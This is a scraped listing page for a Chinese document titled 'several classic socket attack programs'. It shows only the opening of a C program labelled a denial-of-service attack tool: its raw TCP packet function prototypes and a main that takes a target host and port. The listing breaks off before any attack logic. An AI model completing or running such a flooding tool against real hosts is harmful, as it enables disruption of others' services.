几个经典的socket攻击程序.docxVIP

  • 6
  • 0
  • 约6.67千字
  • 约 8页
  • 2020-09-01 发布于江苏
  • 举报
转载]几个经典的SOCKET攻击程序 信息来源:郑州大学安全园 文章作者:不详 文章修改:cbchen 1,著名的dos攻击软件 CODE: /******************** DOS.c *****************/ #include #include #include #include #include  #include #include #include #include  void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char **argv) { int DESTPORT; int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; if(argc != 3)  { fprintf(stderr,"Usage:dos host port.\n);  exit(1); } DESTPORT = atoi(argv[2]); printf(no is attacking host %s with port %d..\n,argv[1],

文档评论(0)

1亿VIP精品文档

相关文档